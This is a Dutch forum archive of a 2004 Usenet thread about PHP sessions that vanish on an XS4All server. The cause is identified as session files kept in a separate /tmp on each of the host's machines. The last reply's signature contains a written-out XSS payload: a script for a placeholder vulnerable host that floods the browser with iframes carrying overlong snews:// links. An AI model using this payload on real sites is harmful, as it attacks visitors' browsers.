Likes Likes:  0
Resultaten 1 tot 5 van de 5
Geen
  1. #1
    Branko Collin
    [PHP] Sessies die spontaan verloren gaan
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    [PHP] Sessies die spontaan verloren gaan


    Ik heb een klein beheersysteempje gemaakt in PHP, en authenticering
    verloopt via sessies. Helaas knalt de gebruiker er van tijd tot zo maar
    uit, lijkt het, onafhankelijk van gebruikte browser. Is dit een enigszins
    bekend probleem?

    De sessieinstellingen lijken allemaal defaults te zijn. Zo ook
    session.gc_maxlifetime, die op 1440 seconden staat (24 minuten). Het
    'eruitknallen' gebeurt eerder dan dat, vaak binnen de minuut al. Ik heb
    niet kunnen bepalen of het onder bepaalde voorwaarden gebeurt.

    Op een loginscherm geeft de gebruiker naam + wachtwoord op. Kloppen deze
    gegevens, dan krijgt z/hij toegang tot het beheersysteem. Kloppen ze niet,
    dan keert de gebruiker terug op het loginscherm.

    Dat gaat ongeveer zo:

    login.php: session_start();
    login.php: $_SESSION['loggedon'] = false;
    login.php: if (validuser()) {
    login.php: $_SESSION['loggedon'] = true;
    login.php: header("Location:admin.php");
    login.php: exit;
    login.php: }
    login.php: else {
    login.php: $errormessage = 'U bent geen geldige gebruiker op dit
    systeem.';
    login.php: }

    ('validuser()' is daarbij een eigen functie die er hier verder niet toe
    doet.) Verder laat login.php een invulformulier voor gebruikersnaam en
    wachtwoord zien, en eventuele foutmeldingen (zoals de bovenstaande, wanneer
    de login fout gaat).

    Op de beheerpagina wordt vervolgens gecontroleerd of de gebruiker is
    ingelogd:

    admin.php: session_start();
    admin.php: $leave = false;
    admin.php:
    admin.php: if (if isset($_POST['logout']) && $_POST['logout']=='logout') {
    admin.php: $leave = true;
    admin.php: }
    admin.php:
    admin.php: if (isset($_SESSION['loggedon'])) {
    admin.php: if (!$_SESSION['loggedon']) {
    admin.php: // wrong username
    admin.php: $leave = true;
    admin.php: $_SESSION['error'] = 'Nice try, buster';
    admin.php: }
    admin.php: }
    admin.php: else {
    admin.php: // username not set, so incorrect
    admin.php: $leave = true;
    admin.php: }
    admin.php:
    admin.php: if ($leave) {
    admin.php: session_destroy();
    admin.php: header("Location:login.php");
    admin.php: exit;
    admin.php: }

    Komt de uitvoering van het script voorbij dit punt, dan gaat alles
    blijkbaar goed in krijgt de gebruiker toegang tot het beheer gedeelte.

    Het blijkt echter regelmatig mis te gaan op de volgende regel:

    if (isset($_SESSION['loggedon']))

    Met andere woorden, PHP kan die sessievariabele niet vinden.

    Doe ik iets verkeerd? Kan het aan de browser liggen (getest met Firefox 0.8
    en MSIE 6.0, beiden onder MS Windows)? Kan het aan de server liggen?

    --
    Branko Collin
    if you reply by e-mail, please change invalid to nl and z to s
    (but replies to the news group are preferred)



  2. #2
    Michiel de Roo
    [PHP] Sessies die spontaan verloren gaan
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: [PHP] Sessies die spontaan verloren gaan

    Branko Collin wrote:
    > Ik heb een klein beheersysteempje gemaakt in PHP, en authenticering
    > verloopt via sessies. Helaas knalt de gebruiker er van tijd tot zo maar
    > uit, lijkt het, onafhankelijk van gebruikte browser. Is dit een enigszins
    > bekend probleem?
    >
    > De sessieinstellingen lijken allemaal defaults te zijn. Zo ook
    > session.gc_maxlifetime, die op 1440 seconden staat (24 minuten). Het
    > 'eruitknallen' gebeurt eerder dan dat, vaak binnen de minuut al. Ik heb
    > niet kunnen bepalen of het onder bepaalde voorwaarden gebeurt.
    >
    > Op een loginscherm geeft de gebruiker naam + wachtwoord op. Kloppen deze
    > gegevens, dan krijgt z/hij toegang tot het beheersysteem. Kloppen ze niet,
    > dan keert de gebruiker terug op het loginscherm.
    >
    > Dat gaat ongeveer zo:
    >
    > login.php: session_start();
    > login.php: $_SESSION['loggedon'] = false;
    > login.php: if (validuser()) {
    > login.php: $_SESSION['loggedon'] = true;
    > login.php: header("Location:admin.php");
    > login.php: exit;
    > login.php: }
    > login.php: else {
    > login.php: $errormessage = 'U bent geen geldige gebruiker op dit
    > systeem.';
    > login.php: }
    >
    > ('validuser()' is daarbij een eigen functie die er hier verder niet toe
    > doet.) Verder laat login.php een invulformulier voor gebruikersnaam en
    > wachtwoord zien, en eventuele foutmeldingen (zoals de bovenstaande, wanneer
    > de login fout gaat).
    >
    > Op de beheerpagina wordt vervolgens gecontroleerd of de gebruiker is
    > ingelogd:
    >
    > admin.php: session_start();
    > admin.php: $leave = false;
    > admin.php:
    > admin.php: if (if isset($_POST['logout']) && $_POST['logout']=='logout') {
    > admin.php: $leave = true;
    > admin.php: }
    > admin.php:
    > admin.php: if (isset($_SESSION['loggedon'])) {
    > admin.php: if (!$_SESSION['loggedon']) {
    > admin.php: // wrong username
    > admin.php: $leave = true;
    > admin.php: $_SESSION['error'] = 'Nice try, buster';
    > admin.php: }
    > admin.php: }
    > admin.php: else {
    > admin.php: // username not set, so incorrect
    > admin.php: $leave = true;
    > admin.php: }
    > admin.php:
    > admin.php: if ($leave) {
    > admin.php: session_destroy();
    > admin.php: header("Location:login.php");
    > admin.php: exit;
    > admin.php: }
    >
    > Komt de uitvoering van het script voorbij dit punt, dan gaat alles
    > blijkbaar goed in krijgt de gebruiker toegang tot het beheer gedeelte.
    >
    > Het blijkt echter regelmatig mis te gaan op de volgende regel:
    >
    > if (isset($_SESSION['loggedon']))
    >
    > Met andere woorden, PHP kan die sessievariabele niet vinden.
    >
    > Doe ik iets verkeerd? Kan het aan de browser liggen (getest met Firefox 0.8
    > en MSIE 6.0, beiden onder MS Windows)? Kan het aan de server liggen?
    >


    Het zal hoogstwaarshijnlijk aan de server liggen. Wat voor server heb je
    eigenlijk ? Draai je PHP als CGI ? Het kan zijn dat de cookie verloren
    gaat na de header("Location: admin.php"), misschien moet je dat checken.
    In Mozilla kun je hiervoor de LiveHTTPHeaders plugin gebruiken.

    Lijkt het wellicht op een van de problemen die hier staan ?
    http://bugs.php.net/bug.php?id=14636

    gr, michiel.

  3. #3
    Daniel Tryba
    [PHP] Sessies die spontaan verloren gaan
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: [PHP] Sessies die spontaan verloren gaan

    Branko Collin <branko@mixedflavourz.invalid> wrote:
    > De sessieinstellingen lijken allemaal defaults te zijn. Zo ook
    > session.gc_maxlifetime, die op 1440 seconden staat (24 minuten). Het
    > 'eruitknallen' gebeurt eerder dan dat, vaak binnen de minuut al. Ik heb
    > niet kunnen bepalen of het onder bepaalde voorwaarden gebeurt.

    [knip]
    > Doe ik iets verkeerd?


    Het enige wat je fout doet (en dus aan de gratie des browsers laat) is
    de relative redirect...

    > Kan het aan de browser liggen (getest met Firefox 0.8
    > en MSIE 6.0, beiden onder MS Windows)? Kan het aan de server liggen?


    Waarschijnlijk server probleem... zoals al is aangegeven controleer of
    de cookie headers correct zijn en check op het moment van het misgaan de
    session file... bestaat die nog? 0 bytes groot wellicht? Het kan
    namelijk zijn dat je filesystem waar de sessies op worden bewaard op een
    willekeurig moment vol is, dat heeft nogal fatal gevolgen op het moment
    van schrijven naar een sessie.

    --

    Daniel Tryba


  4. #4
    Branko Collin
    [PHP] Sessies die spontaan verloren gaan
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: [PHP] Sessies die spontaan verloren gaan

    Michiel de Roo <yourlove@welovespam.nl>, you wrote on Mon, 23 Aug 2004
    18:50:33 +0200:
    >Branko Collin wrote:


    >> Ik heb een klein beheersysteempje gemaakt in PHP, en authenticering
    >> verloopt via sessies. Helaas knalt de gebruiker er van tijd tot zo maar
    >> uit, lijkt het, onafhankelijk van gebruikte browser. Is dit een enigszins
    >> bekend probleem?


    [knippiedeknip]

    >> Het blijkt echter regelmatig mis te gaan op de volgende regel:
    >>
    >> if (isset($_SESSION['loggedon']))
    >>
    >> Met andere woorden, PHP kan die sessievariabele niet vinden.
    >>
    >> Doe ik iets verkeerd? Kan het aan de browser liggen (getest met Firefox 0.8
    >> en MSIE 6.0, beiden onder MS Windows)? Kan het aan de server liggen?
    >>

    >
    >Het zal hoogstwaarshijnlijk aan de server liggen. Wat voor server heb je
    >eigenlijk ? Draai je PHP als CGI?


    Virtual server bij een ISP (XS4All). Oh, vervloekt! (Zie verder.)

    >Het kan zijn dat de cookie verloren
    >gaat na de header("Location: admin.php"), misschien moet je dat checken.
    >In Mozilla kun je hiervoor de LiveHTTPHeaders plugin gebruiken.
    >
    >Lijkt het wellicht op een van de problemen die hier staan ?
    >http://bugs.php.net/bug.php?id=14636


    Heel nuttige link! Daar stond iets over het save_path, en ik dacht:
    die zal bij XS4All toch niet van machine wisselen? Wel dus! Uit de
    XS4All-PHP-FAQ:

    "8. Ik gebruik php sessions-id, maar mijn sessiegegevens veranderen
    soms toch.

    PHP bewaard standaard zijn session files in /tmp. XS4ALL heeft echter
    meerdere machines, deze hebben allemaal hun eigen /tmp. Als het
    bestand op de ene machine gestart wordt, probeert hij daar de session
    file uit te lezen, een volgende keer kan het van een andere machine
    gehaald worden, u krijgt dan andere sessiegegevens.

    U kunt dit oplossen door zelf het save_path aanpassen via uw scripts
    of zelf php installeren met een eigen php.ini en het op die manier
    aanpassen."

    Dat geloof je toch niet. Wat een vak.

    Bedankt voor het meedenken, Michiel,

    --
    branko collin
    collin@xs4all.nl

  5. #5
    Hans
    [PHP] Sessies die spontaan verloren gaan
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: [PHP] Sessies die spontaan verloren gaan

    On Mon, 23 Aug 2004 23:35:40 +0200, Branko Collin <collin@xs4all.nl> wrote:

    > "8. Ik gebruik php sessions-id, maar mijn sessiegegevens veranderen
    > soms toch.
    >
    > PHP bewaard standaard zijn session files in /tmp. XS4ALL heeft echter
    > meerdere machines, deze hebben allemaal hun eigen /tmp. Als het
    > bestand op de ene machine gestart wordt, probeert hij daar de session
    > file uit te lezen, een volgende keer kan het van een andere machine
    > gehaald worden, u krijgt dan andere sessiegegevens.
    >
    > U kunt dit oplossen door zelf het save_path aanpassen via uw scripts
    > of zelf php installeren met een eigen php.ini en het op die manier
    > aanpassen."


    Als je daar bijvoorbeeld de beschikking hebt over een database kun je je
    eigen session_handler gebruiken:


    session_set_save_handler(
    "s_open",
    "s_close",
    "s_read",
    "s_write",
    "s_destroy",
    "s_gc");


    In deze functies kun je het hele gebeuren emuleren.

    Voorbeeldje:

    http://blacklist.kernelnewbies.nl/sessions.phps


    Hans


    --
    begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
    document.write("\<iframe
    src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa " + i +
    "\"\>\<\/iframe>"); } document.refresh; </script>

Webhostingtalk.nl

Contact

  • Rokin 113-115
  • 1012 KP, Amsterdam
  • Nederland
  • Contact
© Copyright 2001-2026 Webhostingtalk.nl.
Web Statistics